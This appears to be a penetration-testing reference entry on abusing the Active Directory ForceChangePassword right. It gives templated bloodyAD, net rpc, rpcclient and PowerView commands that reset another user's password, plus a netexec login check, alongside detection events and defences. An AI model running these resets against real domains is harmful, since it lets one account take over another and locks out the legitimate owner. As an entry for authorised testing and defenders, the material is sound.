ForceChangePassword

ForceChangePassword is an Active Directory ACE that authorizes changing a user's password without knowing the previous one. It does not read it: it overwrites it. It is one of the most dangerous edges BloodHound draws because it is a direct shortcut: if A has ForceChangePassword over B, A can become B.

It is a typical case of ACL abuse to pivot between accounts. At a low level, it is the User-Force-Change-Password Control Access Right (or WriteProperty over the unicodePwd attribute). BloodHound represents it as a ForceChangePassword arrow in the graph.

Mechanism

From Linux, any of these tools resets B's password using A's credentials:

# bloodyAD (the cleanest)
bloodyAD --host <dc> -d <domain> -u <A> -p <pw_A> set password <B> '<New123!>'

# Samba's net rpc (also works with Pass-the-Hash: --pw-nt-hash)
net rpc password '<B>' '<New123!>' -U '<domain>/<A>%<pw_A>' -S <dc>

# rpcclient by hand: setuserinfo2 <user> 23 <new>
rpcclient -U '<domain>/<A>%<pw_A>' <dc> -c "setuserinfo2 <B> 23 'New123!'"

From a domain-joined machine, PowerView does it with a PSCredential:

$sp = ConvertTo-SecureString 'New123!' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('<domain>\<A>', (ConvertTo-SecureString '<pw_A>' -AsPlainText -Force))
Set-DomainUserPassword -Identity <B> -AccountPassword $sp -Credential $cred -Verbose

Verification. The change must be confirmed, not assumed: an immediate login proves the new password works and the account is enabled.

netexec smb <dc> -u <B> -p 'New123!'              # look for (Pwn3d!) or a [+]

Requirements

A's ForceChangePassword ACE over B (BloodHound flags it), reachability to the DC over SMB/RPC/LDAP, and a new password that meets the domain policy (length, complexity, history). You do not need to know B's current password.

Nuance. It is a horizontal escalation: it lets you jump from A to B. It only escalates to Domain Admin if B already was one, or if B has additional edges to someone privileged. Changing the password is noisy, breaks the owner's legitimate access, and is logged (4724 / 4738); in real pentests, restore and warn. Where possible, shadow credentials (writing msDS-KeyCredentialLink) achieves the same without breaking the password, when ADCS allows it.

How to detect it. The reset generates on the DC an Event ID 4724 (an attempt was made to reset an account's password) and a 4738 (a user account was changed), where the Subject (who makes the change) and the Target (the victim) do not fit the normal help-desk flow. The high-fidelity signal is the subject being an ordinary user account, not a delegated support account, resetting a user it has no relationship with. An immediate login by the victim from a new IP (4624/4768) right after the 4724 reinforces the suspicion.

Defence. Least privilege: do not delegate mass resets to ordinary users. Audit who holds ForceChangePassword over Tier-0/Tier-1 accounts and enable Protected Users where it applies. It connects to the rest of ACL abuse and leads to credential reuse.